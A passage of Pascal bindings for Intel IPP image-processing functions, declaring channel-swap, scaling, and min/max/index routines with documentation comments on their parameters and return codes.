function ippiSwapChannels_16s_C4R( pSrc : Ipp16sPtr ; srcStep : Int32 ; pDst : Ipp16sPtr ; dstStep : Int32 ; roiSize : IppiSize ; const dstOrder : Int32_4 ): IppStatus; _ippapi
function ippiSwapChannels_32s_C3R( pSrc : Ipp32sPtr ; srcStep : Int32 ; pDst : Ipp32sPtr ; dstStep : Int32 ; roiSize : IppiSize ; const dstOrder : Int32_3 ): IppStatus; _ippapi
function ippiSwapChannels_32s_AC4R( pSrc : Ipp32sPtr ; srcStep : Int32 ; pDst : Ipp32sPtr ; dstStep : Int32 ; roiSize : IppiSize ; const dstOrder : Int32_3 ): IppStatus; _ippapi
function ippiSwapChannels_32s_C4R( pSrc : Ipp32sPtr ; srcStep : Int32 ; pDst : Ipp32sPtr ; dstStep : Int32 ; roiSize : IppiSize ; const dstOrder : Int32_4 ): IppStatus; _ippapi
function ippiSwapChannels_32f_C3R( pSrc : Ipp32fPtr ; srcStep : Int32 ; pDst : Ipp32fPtr ; dstStep : Int32 ; roiSize : IppiSize ; const dstOrder : Int32_3 ): IppStatus; _ippapi
function ippiSwapChannels_32f_AC4R( pSrc : Ipp32fPtr ; srcStep : Int32 ; pDst : Ipp32fPtr ; dstStep : Int32 ; roiSize : IppiSize ; const dstOrder : Int32_3 ): IppStatus; _ippapi
function ippiSwapChannels_32f_C4R( pSrc : Ipp32fPtr ; srcStep : Int32 ; pDst : Ipp32fPtr ; dstStep : Int32 ; roiSize : IppiSize ; const dstOrder : Int32_4 ): IppStatus; _ippapi
function ippiSwapChannels_8u_C3IR( pSrcDst : Ipp8uPtr ; srcDstStep : Int32 ; roiSize : IppiSize ; const dstOrder : Int32_3 ): IppStatus; _ippapi
function ippiSwapChannels_8u_C4IR( pSrcDst : Ipp8uPtr ; srcDstStep : Int32 ; roiSize : IppiSize ; const dstOrder : Int32_4 ): IppStatus; _ippapi
{ ----------------------------------------------------------------------------
Name: ippiSwapChannels C3C4R, C4C3R
Purpose: Changes the order of channels of the image
The function performs operation for each pixel:
a) C3C4R.
if(dstOrder[i] < 3) dst[i] = src[dstOrder[i]];
if(dstOrder[i] == 3) dst[i] = val;
if(dstOrder[i] > 3) dst[i] does not change;
i = 0,1,2,3
b) C4C3R.
dst[0] = src [dstOrder[0]];
dst[1] = src [dstOrder[1]];
dst[2] = src [dstOrder[2]];
Returns:
ippStsNullPtrErr One of the pointers is NULL
ippStsSizeErr roiSize has a field with zero or negative value
ippStsChannelOrderErr dstOrder is out of the range, it should be:
a) C3C4R.
dstOrder[i] => 0, i = 0,1,2,3.
b) C4C3R.
0 <= dstOrder[i] <= 3, i = 0,1,2.
ippStsNoErr OK
Parameters:
pSrc Pointer to the source image
srcStep Step in bytes through the source image
pDst Pointer to the destination image
dstStep Step in bytes through the destination image
roiSize Size of the ROI
dstOrder The order of channels in the destination image
val Constant value for C3C4R
}
function ippiSwapChannels_8u_C3C4R( pSrc : Ipp8uPtr ; srcStep : Int32 ; pDst : Ipp8uPtr ; dstStep : Int32 ; roiSize : IppiSize ; const dstOrder : Int32_4 ; val : Ipp8u ): IppStatus; _ippapi
function ippiSwapChannels_8u_C4C3R( pSrc : Ipp8uPtr ; srcStep : Int32 ; pDst : Ipp8uPtr ; dstStep : Int32 ; roiSize : IppiSize ; const dstOrder : Int32_3 ): IppStatus; _ippapi
function ippiSwapChannels_16s_C3C4R( pSrc : Ipp16sPtr ; srcStep : Int32 ; pDst : Ipp16sPtr ; dstStep : Int32 ; roiSize : IppiSize ; const dstOrder : Int32_4 ; val : Ipp16s ): IppStatus; _ippapi
function ippiSwapChannels_16s_C4C3R( pSrc : Ipp16sPtr ; srcStep : Int32 ; pDst : Ipp16sPtr ; dstStep : Int32 ; roiSize : IppiSize ; const dstOrder : Int32_3 ): IppStatus; _ippapi
function ippiSwapChannels_16u_C3C4R( pSrc : Ipp16uPtr ; srcStep : Int32 ; pDst : Ipp16uPtr ; dstStep : Int32 ; roiSize : IppiSize ; const dstOrder : Int32_4 ; val : Ipp16u ): IppStatus; _ippapi
function ippiSwapChannels_16u_C4C3R( pSrc : Ipp16uPtr ; srcStep : Int32 ; pDst : Ipp16uPtr ; dstStep : Int32 ; roiSize : IppiSize ; const dstOrder : Int32_3 ): IppStatus; _ippapi
function ippiSwapChannels_32s_C3C4R( pSrc : Ipp32sPtr ; srcStep : Int32 ; pDst : Ipp32sPtr ; dstStep : Int32 ; roiSize : IppiSize ; const dstOrder : Int32_4 ; val : Ipp32s ): IppStatus; _ippapi
function ippiSwapChannels_32s_C4C3R( pSrc : Ipp32sPtr ; srcStep : Int32 ; pDst : Ipp32sPtr ; dstStep : Int32 ; roiSize : IppiSize ; const dstOrder : Int32_3 ): IppStatus; _ippapi
function ippiSwapChannels_32f_C3C4R( pSrc : Ipp32fPtr ; srcStep : Int32 ; pDst : Ipp32fPtr ; dstStep : Int32 ; roiSize : IppiSize ; const dstOrder : Int32_4 ; val : Ipp32f ): IppStatus; _ippapi
function ippiSwapChannels_32f_C4C3R( pSrc : Ipp32fPtr ; srcStep : Int32 ; pDst : Ipp32fPtr ; dstStep : Int32 ; roiSize : IppiSize ; const dstOrder : Int32_3 ): IppStatus; _ippapi
{ ----------------------------------------------------------------------------
Name: ippiScale
Purpose: Scales pixel values of an image and converts them to another bit depth
dst = a + b * src;
a = type_min_dst - b * type_min_src;
b = (type_max_dst - type_min_dst) / (type_max_src - type_min_src).
Returns:
ippStsNullPtrErr One of the pointers is NULL
ippStsSizeErr roiSize has a field with zero or negative value
ippStsStepErr One of the step values is less than or equal to zero
ippStsScaleRangeErr Input data bounds are incorrect (vMax - vMin <= 0)
ippStsNoErr OK
Parameters:
pSrc Pointer to the source image
srcStep Step through the source image
pDst Pointer to the destination image
dstStep Step through the destination image
roiSize Size of the ROI
vMin, vMax Minimum and maximum values of the input data (32f).
hint Option to select the algorithmic implementation:
1). hint == ippAlgHintAccurate
- accuracy e-8, but slowly;
2). hint == ippAlgHintFast,
or ippAlgHintNone
- accuracy e-3, but quickly.
}
function ippiScale_8u16u_C1R( pSrc : Ipp8uPtr ; srcStep : Int32 ; pDst : Ipp16uPtr ; dstStep : Int32 ; roiSize : IppiSize ): IppStatus; _ippapi
function ippiScale_8u16s_C1R( pSrc : Ipp8uPtr ; srcStep : Int32 ; pDst : Ipp16sPtr ; dstStep : Int32 ; roiSize : IppiSize ): IppStatus; _ippapi
function ippiScale_8u32s_C1R( pSrc : Ipp8uPtr ; srcStep : Int32 ; pDst : Ipp32sPtr ; dstStep : Int32 ; roiSize : IppiSize ): IppStatus; _ippapi
function ippiScale_8u32f_C1R( pSrc : Ipp8uPtr ; srcStep : Int32 ; pDst : Ipp32fPtr ; dstStep : Int32 ; roiSize : IppiSize ; vMin : Ipp32f ; vMax : Ipp32f ): IppStatus; _ippapi
function ippiScale_8u16u_C3R( pSrc : Ipp8uPtr ; srcStep : Int32 ; pDst : Ipp16uPtr ; dstStep : Int32 ; roiSize : IppiSize ): IppStatus; _ippapi
function ippiScale_8u16s_C3R( pSrc : Ipp8uPtr ; srcStep : Int32 ; pDst : Ipp16sPtr ; dstStep : Int32 ; roiSize : IppiSize ): IppStatus; _ippapi
function ippiScale_8u32s_C3R( pSrc : Ipp8uPtr ; srcStep : Int32 ; pDst : Ipp32sPtr ; dstStep : Int32 ; roiSize : IppiSize ): IppStatus; _ippapi
function ippiScale_8u32f_C3R( pSrc : Ipp8uPtr ; srcStep : Int32 ; pDst : Ipp32fPtr ; dstStep : Int32 ; roiSize : IppiSize ; vMin : Ipp32f ; vMax : Ipp32f ): IppStatus; _ippapi
function ippiScale_8u16u_AC4R( pSrc : Ipp8uPtr ; srcStep : Int32 ; pDst : Ipp16uPtr ; dstStep : Int32 ; roiSize : IppiSize ): IppStatus; _ippapi
function ippiScale_8u16s_AC4R( pSrc : Ipp8uPtr ; srcStep : Int32 ; pDst : Ipp16sPtr ; dstStep : Int32 ; roiSize : IppiSize ): IppStatus; _ippapi
function ippiScale_8u32s_AC4R( pSrc : Ipp8uPtr ; srcStep : Int32 ; pDst : Ipp32sPtr ; dstStep : Int32 ; roiSize : IppiSize ): IppStatus; _ippapi
function ippiScale_8u32f_AC4R( pSrc : Ipp8uPtr ; srcStep : Int32 ; pDst : Ipp32fPtr ; dstStep : Int32 ; roiSize : IppiSize ; vMin : Ipp32f ; vMax : Ipp32f ): IppStatus; _ippapi
function ippiScale_8u16u_C4R( pSrc : Ipp8uPtr ; srcStep : Int32 ; pDst : Ipp16uPtr ; dstStep : Int32 ; roiSize : IppiSize ): IppStatus; _ippapi
function ippiScale_8u16s_C4R( pSrc : Ipp8uPtr ; srcStep : Int32 ; pDst : Ipp16sPtr ; dstStep : Int32 ; roiSize : IppiSize ): IppStatus; _ippapi
function ippiScale_8u32s_C4R( pSrc : Ipp8uPtr ; srcStep : Int32 ; pDst : Ipp32sPtr ; dstStep : Int32 ; roiSize : IppiSize ): IppStatus; _ippapi
function ippiScale_8u32f_C4R( pSrc : Ipp8uPtr ; srcStep : Int32 ; pDst : Ipp32fPtr ; dstStep : Int32 ; roiSize : IppiSize ; vMin : Ipp32f ; vMax : Ipp32f ): IppStatus; _ippapi
function ippiScale_16u8u_C1R( pSrc : Ipp16uPtr ; srcStep : Int32 ; pDst : Ipp8uPtr ; dstStep : Int32 ; roiSize : IppiSize ; hint : IppHintAlgorithm ): IppStatus; _ippapi
function ippiScale_16s8u_C1R( pSrc : Ipp16sPtr ; srcStep : Int32 ; pDst : Ipp8uPtr ; dstStep : Int32 ; roiSize : IppiSize ; hint : IppHintAlgorithm ): IppStatus; _ippapi
function ippiScale_32s8u_C1R( pSrc : Ipp32sPtr ; srcStep : Int32 ; pDst : Ipp8uPtr ; dstStep : Int32 ; roiSize : IppiSize ; hint : IppHintAlgorithm ): IppStatus; _ippapi
function ippiScale_32f8u_C1R( pSrc : Ipp32fPtr ; srcStep : Int32 ; pDst : Ipp8uPtr ; dstStep : Int32 ; roiSize : IppiSize ; vMin : Ipp32f ; vMax : Ipp32f ): IppStatus; _ippapi
function ippiScale_16u8u_C3R( pSrc : Ipp16uPtr ; srcStep : Int32 ; pDst : Ipp8uPtr ; dstStep : Int32 ; roiSize : IppiSize ; hint : IppHintAlgorithm ): IppStatus; _ippapi
function ippiScale_16s8u_C3R( pSrc : Ipp16sPtr ; srcStep : Int32 ; pDst : Ipp8uPtr ; dstStep : Int32 ; roiSize : IppiSize ; hint : IppHintAlgorithm ): IppStatus; _ippapi
function ippiScale_32s8u_C3R( pSrc : Ipp32sPtr ; srcStep : Int32 ; pDst : Ipp8uPtr ; dstStep : Int32 ; roiSize : IppiSize ; hint : IppHintAlgorithm ): IppStatus; _ippapi
function ippiScale_32f8u_C3R( pSrc : Ipp32fPtr ; srcStep : Int32 ; pDst : Ipp8uPtr ; dstStep : Int32 ; roiSize : IppiSize ; vMin : Ipp32f ; vMax : Ipp32f ): IppStatus; _ippapi
function ippiScale_16u8u_AC4R( pSrc : Ipp16uPtr ; srcStep : Int32 ; pDst : Ipp8uPtr ; dstStep : Int32 ; roiSize : IppiSize ; hint : IppHintAlgorithm ): IppStatus; _ippapi
function ippiScale_16s8u_AC4R( pSrc : Ipp16sPtr ; srcStep : Int32 ; pDst : Ipp8uPtr ; dstStep : Int32 ; roiSize : IppiSize ; hint : IppHintAlgorithm ): IppStatus; _ippapi
function ippiScale_32s8u_AC4R( pSrc : Ipp32sPtr ; srcStep : Int32 ; pDst : Ipp8uPtr ; dstStep : Int32 ; roiSize : IppiSize ; hint : IppHintAlgorithm ): IppStatus; _ippapi
function ippiScale_32f8u_AC4R( pSrc : Ipp32fPtr ; srcStep : Int32 ; pDst : Ipp8uPtr ; dstStep : Int32 ; roiSize : IppiSize ; vMin : Ipp32f ; vMax : Ipp32f ): IppStatus; _ippapi
function ippiScale_16u8u_C4R( pSrc : Ipp16uPtr ; srcStep : Int32 ; pDst : Ipp8uPtr ; dstStep : Int32 ; roiSize : IppiSize ; hint : IppHintAlgorithm ): IppStatus; _ippapi
function ippiScale_16s8u_C4R( pSrc : Ipp16sPtr ; srcStep : Int32 ; pDst : Ipp8uPtr ; dstStep : Int32 ; roiSize : IppiSize ; hint : IppHintAlgorithm ): IppStatus; _ippapi
function ippiScale_32s8u_C4R( pSrc : Ipp32sPtr ; srcStep : Int32 ; pDst : Ipp8uPtr ; dstStep : Int32 ; roiSize : IppiSize ; hint : IppHintAlgorithm ): IppStatus; _ippapi
function ippiScale_32f8u_C4R( pSrc : Ipp32fPtr ; srcStep : Int32 ; pDst : Ipp8uPtr ; dstStep : Int32 ; roiSize : IppiSize ; vMin : Ipp32f ; vMax : Ipp32f ): IppStatus; _ippapi
{ ----------------------------------------------------------------------------
Name: ippiMin
Purpose: computes the minimum of image pixel values
Returns: IppStatus
ippStsNoErr OK
ippStsNullPtrErr One of the pointers is NULL
ippStsSizeErr roiSize has a field with zero or negative value
Parameters:
pSrc Pointer to the source image.
srcStep Step through the source image
roiSize Size of the source image ROI.
pMin Pointer to the result (C1)
min Array containing results (C3, AC4, C4)
}
function ippiMin_8u_C1R( pSrc : Ipp8uPtr ; srcStep : Int32 ; roiSize : IppiSize ; pMin : Ipp8uPtr ): IppStatus; _ippapi
function ippiMin_8u_C3R( pSrc : Ipp8uPtr ; srcStep : Int32 ; roiSize : IppiSize ; min : Ipp8u_3 ): IppStatus; _ippapi
function ippiMin_8u_AC4R( pSrc : Ipp8uPtr ; srcStep : Int32 ; roiSize : IppiSize ; min : Ipp8u_3 ): IppStatus; _ippapi
function ippiMin_8u_C4R( pSrc : Ipp8uPtr ; srcStep : Int32 ; roiSize : IppiSize ; min : Ipp8u_4 ): IppStatus; _ippapi
function ippiMin_16s_C1R( pSrc : Ipp16sPtr ; srcStep : Int32 ; roiSize : IppiSize ; pMin : Ipp16sPtr ): IppStatus; _ippapi
function ippiMin_16s_C3R( pSrc : Ipp16sPtr ; srcStep : Int32 ; roiSize : IppiSize ; min : Ipp16s_3 ): IppStatus; _ippapi
function ippiMin_16s_AC4R( pSrc : Ipp16sPtr ; srcStep : Int32 ; roiSize : IppiSize ; min : Ipp16s_3 ): IppStatus; _ippapi
function ippiMin_16s_C4R( pSrc : Ipp16sPtr ; srcStep : Int32 ; roiSize : IppiSize ; min : Ipp16s_4 ): IppStatus; _ippapi
function ippiMin_16u_C1R( pSrc : Ipp16uPtr ; srcStep : Int32 ; roiSize : IppiSize ; pMin : Ipp16uPtr ): IppStatus; _ippapi
function ippiMin_16u_C3R( pSrc : Ipp16uPtr ; srcStep : Int32 ; roiSize : IppiSize ; min : Ipp16u_3 ): IppStatus; _ippapi
function ippiMin_16u_AC4R( pSrc : Ipp16uPtr ; srcStep : Int32 ; roiSize : IppiSize ; min : Ipp16u_3 ): IppStatus; _ippapi
function ippiMin_16u_C4R( pSrc : Ipp16uPtr ; srcStep : Int32 ; roiSize : IppiSize ; min : Ipp16u_4 ): IppStatus; _ippapi
function ippiMin_32f_C1R( pSrc : Ipp32fPtr ; srcStep : Int32 ; roiSize : IppiSize ; pMin : Ipp32fPtr ): IppStatus; _ippapi
function ippiMin_32f_C3R( pSrc : Ipp32fPtr ; srcStep : Int32 ; roiSize : IppiSize ; min : Ipp32f_3 ): IppStatus; _ippapi
function ippiMin_32f_AC4R( pSrc : Ipp32fPtr ; srcStep : Int32 ; roiSize : IppiSize ; min : Ipp32f_3 ): IppStatus; _ippapi
function ippiMin_32f_C4R( pSrc : Ipp32fPtr ; srcStep : Int32 ; roiSize : IppiSize ; min : Ipp32f_4 ): IppStatus; _ippapi
{ ----------------------------------------------------------------------------
Name: ippiMinIndx
Purpose: computes the minimum of image pixel values and retrieves
the x and y coordinates of pixels with this value
Returns: IppStatus
ippStsNoErr OK
ippStsNullPtrErr One of the pointers is NULL
ippStsSizeErr roiSize has a field with zero or negative value
Parameters:
pSrc Pointer to the source image.
srcStep Step in bytes through the source image
roiSize Size of the source image ROI.
pMin Pointer to the result (C1)
min Array of the results (C3, AC4, C4)
pIndexX Pointer to the x coordinate of the pixel with min value (C1)
pIndexY Pointer to the y coordinate of the pixel with min value (C1)
indexX Array containing the x coordinates of the pixel with min value (C3, AC4, C4)
indexY Array containing the y coordinates of the pixel with min value (C3, AC4, C4)
}
function ippiMinIndx_8u_C1R( pSrc : Ipp8uPtr ; srcStep : Int32 ; roiSize : IppiSize ; pMin : Ipp8uPtr ; pIndexX : Int32Ptr ; pIndexY : Int32Ptr ): IppStatus; _ippapi
function ippiMinIndx_8u_C3R( pSrc : Ipp8uPtr ; srcStep : Int32 ; roiSize : IppiSize ; min : Ipp8u_3 ; indexX : Int32_3 ; indexY : Int32_3 ): IppStatus; _ippapi
function ippiMinIndx_8u_AC4R( pSrc : Ipp8uPtr ; srcStep : Int32 ; roiSize : IppiSize ; min : Ipp8u_3 ; indexX : Int32_3 ; indexY : Int32_3 ): IppStatus; _ippapi
function ippiMinIndx_8u_C4R( pSrc : Ipp8uPtr ; srcStep : Int32 ; roiSize : IppiSize ; min : Ipp8u_4 ; indexX : Int32_4 ; indexY : Int32_4 ): IppStatus; _ippapi
function ippiMinIndx_16s_C1R( pSrc : Ipp16sPtr ; srcStep : Int32 ; roiSize : IppiSize ; pMin : Ipp16sPtr ; pIndexX : Int32Ptr ; pIndexY : Int32Ptr ): IppStatus; _ippapi
function ippiMinIndx_16s_C3R( pSrc : Ipp16sPtr ; srcStep : Int32 ; roiSize : IppiSize ; min : Ipp16s_3 ; indexX : Int32_3 ; indexY : Int32_3 ): IppStatus; _ippapi
function ippiMinIndx_16s_AC4R( pSrc : Ipp16sPtr ; srcStep : Int32 ; roiSize : IppiSize ; min : Ipp16s_3 ; indexX : Int32_3 ; indexY : Int32_3 ): IppStatus; _ippapi
function ippiMinIndx_16s_C4R( pSrc : Ipp16sPtr ; srcStep : Int32 ; roiSize : IppiSize ; min : Ipp16s_4 ; indexX : Int32_4 ; indexY : Int32_4 ): IppStatus; _ippapi
function ippiMinIndx_16u_C1R( pSrc : Ipp16uPtr ; srcStep : Int32 ; roiSize : IppiSize ; pMin : Ipp16uPtr ; pIndexX : Int32Ptr ; pIndexY : Int32Ptr ): IppStatus; _ippapi
function ippiMinIndx_16u_C3R( pSrc : Ipp16uPtr ; srcStep : Int32 ; roiSize : IppiSize ; min : Ipp16u_3 ; indexX : Int32_3 ; indexY : Int32_3 ): IppStatus; _ippapi
function ippiMinIndx_16u_AC4R( pSrc : Ipp16uPtr ; srcStep : Int32 ; roiSize : IppiSize ; min : Ipp16u_3 ; indexX : Int32_3 ; indexY : Int32_3 ): IppStatus; _ippapi
function ippiMinIndx_16u_C4R( pSrc : Ipp16uPtr ; srcStep : Int32 ; roiSize : IppiSize ; min : Ipp16u_4 ; indexX : Int32_4 ; indexY : Int32_4 ): IppStatus; _ippapi
function ippiMinIndx_32f_C1R( pSrc : Ipp32fPtr ; srcStep : Int32 ; roiSize : IppiSize ; pMin : Ipp32fPtr ; pIndexX : Int32Ptr ; pIndexY : Int32Ptr ): IppStatus; _ippapi
function ippiMinIndx_32f_C3R( pSrc : Ipp32fPtr ; srcStep : Int32 ; roiSize : IppiSize ; min : Ipp32f_3 ; indexX : Int32_3 ; indexY : Int32_3 ): IppStatus; _ippapi
function ippiMinIndx_32f_AC4R( pSrc : Ipp32fPtr ; srcStep : Int32 ; roiSize : IppiSize ; min : Ipp32f_3 ; indexX : Int32_3 ; indexY : Int32_3 ): IppStatus; _ippapi
function ippiMinIndx_32f_C4R( pSrc : Ipp32fPtr ; srcStep : Int32 ; roiSize : IppiSize ; min : Ipp32f_4 ; indexX : Int32_4 ; indexY : Int32_4 ): IppStatus; _ippapi
{ ----------------------------------------------------------------------------
Name: ippiMax
Purpose: computes the maximum of image pixel values
Returns: IppStatus
ippStsNoErr OK
ippStsNullPtrErr One of the pointers is NULL
ippStsSizeErr roiSize has a field with zero or negative value
Parameters:
pSrc Pointer to the source image.
srcStep Step in bytes through the source image
roiSize Size of the source image ROI.
pMax Pointer to the result (C1)
max Array containing the results (C3, AC4, C4)
}
function ippiMax_8u_C1R( pSrc : Ipp8uPtr ; srcStep : Int32 ; roiSize : IppiSize ; pMax : Ipp8uPtr ): IppStatus; _ippapi
function ippiMax_8u_C3R( pSrc : Ipp8uPtr ; srcStep : Int32 ; roiSize : IppiSize ; max : Ipp8u_3 ): IppStatus; _ippapi
function ippiMax_8u_AC4R( pSrc : Ipp8uPtr ; srcStep : Int32 ; roiSize : IppiSize ; max : Ipp8u_3 ): IppStatus; _ippapi
function ippiMax_8u_C4R( pSrc : Ipp8uPtr ; srcStep : Int32 ; roiSize : IppiSize ; max : Ipp8u_4 ): IppStatus; _ippapi
function ippiMax_16s_C1R( pSrc : Ipp16sPtr ; srcStep : Int32 ; roiSize : IppiSize ; pMax : Ipp16sPtr ): IppStatus; _ippapi
function ippiMax_16s_C3R( pSrc : Ipp16sPtr ; srcStep : Int32 ; roiSize : IppiSize ; max : Ipp16s_3 ): IppStatus; _ippapi
function ippiMax_16s_AC4R( pSrc : Ipp16sPtr ; srcStep : Int32 ; roiSize : IppiSize ; max : Ipp16s_3 ): IppStatus; _ippapi
function ippiMax_16s_C4R( pSrc : Ipp16sPtr ; srcStep : Int32 ; roiSize : IppiSize ; max : Ipp16s_4 ): IppStatus; _ippapi
function ippiMax_16u_C1R( pSrc : Ipp16uPtr ; srcStep : Int32 ; roiSize : IppiSize ; pMax : Ipp16uPtr ): IppStatus; _ippapi
function ippiMax_16u_C3R( pSrc : Ipp16uPtr ; srcStep : Int32 ; roiSize : IppiSize ; max : Ipp16u_3 ): IppStatus; _ippapi
function ippiMax_16u_AC4R( pSrc : Ipp16uPtr ; srcStep : Int32 ; roiSize : IppiSize ; max : Ipp16u_3 ): IppStatus; _ippapi
function ippiMax_16u_C4R( pSrc : Ipp16uPtr ; srcStep : Int32 ; roiSize : IppiSize ; max : Ipp16u_4 ): IppStatus; _ippapi
function ippiMax_32f_C1R( pSrc : Ipp32fPtr ; srcStep : Int32 ; roiSize : IppiSize ; pMax : Ipp32fPtr ): IppStatus; _ippapi
function ippiMax_32f_C3R( pSrc : Ipp32fPtr ; srcStep : Int32 ; roiSize : IppiSize ; max : Ipp32f_3 ): IppStatus; _ippapi
function ippiMax_32f_AC4R( pSrc : Ipp32fPtr ; srcStep : Int32 ; roiSize : IppiSize ; max : Ipp32f_3 ): IppStatus; _ippapi
function ippiMax_32f_C4R( pSrc : Ipp32fPtr ; srcStep : Int32 ; roiSize : IppiSize ; max : Ipp32f_4 ): IppStatus; _ippapi
{ ----------------------------------------------------------------------------
Name: ippiMaxIndx
Purpose: computes the maximum of image pixel values and retrieves
the x and y coordinates of pixels with this value
Returns: IppStatus
ippStsNoErr OK
ippStsNullPtrErr One of the pointers is NULL
ippStsSizeErr roiSize has a field with zero or negative value
Parameters:
pSrc Pointer to the source image.
srcStep Step in bytes through the source image
roiSize Size of the source image ROI.
pMax Pointer to the result (C1)
max Array of the results (C3, AC4, C4)
pIndexX Pointer to the x coordinate of the pixel with max value (C1)
pIndexY Pointer to the y coordinate of the pixel with max value (C1)
indexX Array containing the x coordinates of the pixel with max value (C3, AC4, C4)
indexY Array containing the y coordinates of the pixel with max value (C3, AC4, C4)
}
function ippiMaxIndx_8u_C1R( pSrc : Ipp8uPtr ; srcStep : Int32 ; roiSize : IppiSize ; pMax : Ipp8uPtr ; pIndexX : Int32Ptr ; pIndexY : Int32Ptr ): IppStatus; _ippapi
function ippiMaxIndx_8u_C3R( pSrc : Ipp8uPtr ; srcStep : Int32 ; roiSize : IppiSize ; max : Ipp8u_3 ; indexX : Int32_3 ; indexY : Int32_3 ): IppStatus; _ippapi
function ippiMaxIndx_8u_AC4R( pSrc : Ipp8uPtr ; srcStep : Int32 ; roiSize : IppiSize ; max : Ipp8u_3 ; indexX : Int32_3 ; indexY : Int32_3 ): IppStatus; _ippapi
function ippiMaxIndx_8u_C4R( pSrc : Ipp8uPtr ; srcStep : Int32 ; roiSize : IppiSize ; max : Ipp8u_4 ; indexX : Int32_4 ; indexY : Int32_4 ): IppStatus; _ippapi
function ippiMaxIndx_16s_C1R( pSrc : Ipp16sPtr ; srcStep : Int32 ; roiSize : IppiSize ; pMax : Ipp16sPtr ; pIndexX : Int32Ptr ; pIndexY : Int32Ptr ): IppStatus; _ippapi
function ippiMaxIndx_16s_C3R( pSrc : Ipp16sPtr ; srcStep : Int32 ; roiSize : IppiSize ; max : Ipp16s_3 ; indexX : Int32_3 ; indexY : Int32_3 ): IppStatus; _ippapi
function ippiMaxIndx_16s_AC4R( pSrc : Ipp16sPtr ; srcStep : Int32 ; roiSize : IppiSize ; max : Ipp16s_3 ; indexX : Int32_3 ; indexY : Int32_3 ): IppStatus; _ippapi
function ippiMaxIndx_16s_C4R( pSrc : Ipp16sPtr ; srcStep : Int32 ; roiSize : IppiSize ; max : Ipp16s_4 ; indexX : Int32_4 ; indexY : Int32_4 ): IppStatus; _ippapi
function ippiMaxIndx_16u_C1R( pSrc : Ipp16uPtr ; srcStep : Int32 ; roiSize : IppiSize ; pMax : Ipp16uPtr ; pIndexX : Int32Ptr ; pIndexY : Int32Ptr ): IppStatus; _ippapi
function ippiMaxIndx_16u_C3R( pSrc : Ipp16uPtr ; srcStep : Int32 ; roiSize : IppiSize ; max : Ipp16u_3 ; indexX : Int32_3 ; indexY : Int32_3 ): IppStatus; _ippapi
function ippiMaxIndx_16u_AC4R( pSrc : Ipp16uPtr ; srcStep : Int32 ; roiSize : IppiSize ; max : Ipp16u_3 ; indexX : Int32_3 ; indexY : Int32_3 ): IppStatus; _ippapi
function ippiMaxIndx_16u_C4R( pSrc : Ipp16uPtr ; srcStep : Int32 ; roiSize : IppiSize ; max : Ipp16u_4 ; indexX : Int32_4 ; indexY : Int32_4 ): IppStatus; _ippapi
function ippiMaxIndx_32f_C1R( pSrc : Ipp32fPtr ; srcStep : Int32 ; roiSize : IppiSize ; pMax : Ipp32fPtr ; pIndexX : Int32Ptr ; pIndexY : Int32Ptr ): IppStatus; _ippapi
function ippiMaxIndx_32f_C3R( pSrc : Ipp32fPtr ; srcStep : Int32 ; roiSize : IppiSize ; max : Ipp32f_3 ; indexX : Int32_3 ; indexY : Int32_3 ): IppStatus; _ippapi
function ippiMaxIndx_32f_AC4R( pSrc : Ipp32fPtr ; srcStep : Int32 ; roiSize : IppiSize ; max : Ipp32f_3 ; indexX : Int32_3 ; indexY : Int32_3 ): IppStatus; _ippapi
function ippiMaxIndx_32f_C4R( pSrc : Ipp32fPtr ; srcStep : Int32 ; roiSize : IppiSize ; max : Ipp32f_4 ; indexX : Int32_4 ; indexY : Int32_4 ): IppStatus; _ippapi
{ ----------------------------------------------------------------------------
Name: ippiMinMax
Purpose: computes the minimum and maximum of image pixel value
Returns: IppStatus
ippStsNoErr OK
ippStsNullPtrErr One of the pointers is NULL
ippStsSizeErr roiSize has a field with zero or negative value
Parameters:
pSrc Pointer to the source image
srcStep Step in bytes through the source image
roiSize Size of the source image ROI.
pMin, pMax Pointers to the results (C1)
min, max Arrays containing the results (C3, AC4, C4)
}
function ippiMinMax_8u_C1R( pSrc : Ipp8uPtr ; srcStep : Int32 ; roiSize : IppiSize ; var pMin : Ipp8u ; var pMax : Ipp8u ): IppStatus; _ippapi
function ippiMinMax_8u_C3R( pSrc : Ipp8uPtr ; srcStep : Int32 ; roiSize : IppiSize ; var min : Ipp8u_3 ; var max : Ipp8u_3 ): IppStatus; _ippapi
function ippiMinMax_8u_AC4R( pSrc : Ipp8uPtr ; srcStep : Int32 ; roiSize : IppiSize ; var min : Ipp8u_3 ; var max : Ipp8u_3 ): IppStatus; _ippapi
function ippiMinMax_8u_C4R( pSrc : Ipp8uPtr ; srcStep : Int32 ; roiSize : IppiSize ; var min : Ipp8u_4 ; var max : Ipp8u_4 ): IppStatus; _ippapi
function ippiMinMax_16s_C1R( pSrc : Ipp16sPtr ; srcStep : Int32 ; roiSize : IppiSize ; var pMin : Ipp16s ; var pMax : Ipp16s ): IppStatus; _ippapi
function ippiMinMax_16s_C3R( pSrc : Ipp16sPtr ; srcStep : Int32 ; roiSize : IppiSize ; var min : Ipp16s_3 ; var max : Ipp16s_3 ): IppStatus; _ippapi
function ippiMinMax_16s_AC4R( pSrc : Ipp16sPtr ; srcStep : Int32 ; roiSize : IppiSize ; var min : Ipp16s_3 ; var max : Ipp16s_3 ): IppStatus; _ippapi
function ippiMinMax_16s_C4R( pSrc : Ipp16sPtr ; srcStep : Int32 ; roiSize : IppiSize ; var min : Ipp16s_4 ; var max : Ipp16s_4 ): IppStatus; _ippapi
function ippiMinMax_16u_C1R( pSrc : Ipp16uPtr ; srcStep : Int32 ; roiSize : IppiSize ; var pMin : Ipp16u ; var pMax : Ipp16u ): IppStatus; _ippapi
function ippiMinMax_16u_C3R( pSrc : Ipp16uPtr ; srcStep : Int32 ; roiSize : IppiSize ; var min : Ipp16u_3 ; var max : Ipp16u_3 ): IppStatus; _ippapi
function ippiMinMax_16u_AC4R( pSrc : Ipp16uPtr ; srcStep : Int32 ; roiSize : IppiSize ; var min : Ipp16u_3 ; var max : Ipp16u_3 ): IppStatus; _ippapi
function ippiMinMax_16u_C4R( pSrc : Ipp16uPtr ; srcStep : Int32 ; roiSize : IppiSize ; var min : Ipp16u_4 ; var max : Ipp16u_4 ): IppStatus; _ippapi
function ippiMinMax_32f_C1R( pSrc : Ipp32fPtr ; srcStep : Int32 ; roiSize : IppiSize ; var pMin : Ipp32f ; var pMax : Ipp32f ): IppStatus; _ippapi
function ippiMinMax_32f_C3R( pSrc : Ipp32fPtr ; srcStep : Int32 ; roiSize : IppiSize ; var min : Ipp32f_3 ; var max : Ipp32f_3 ): IppStatus; _ippapi
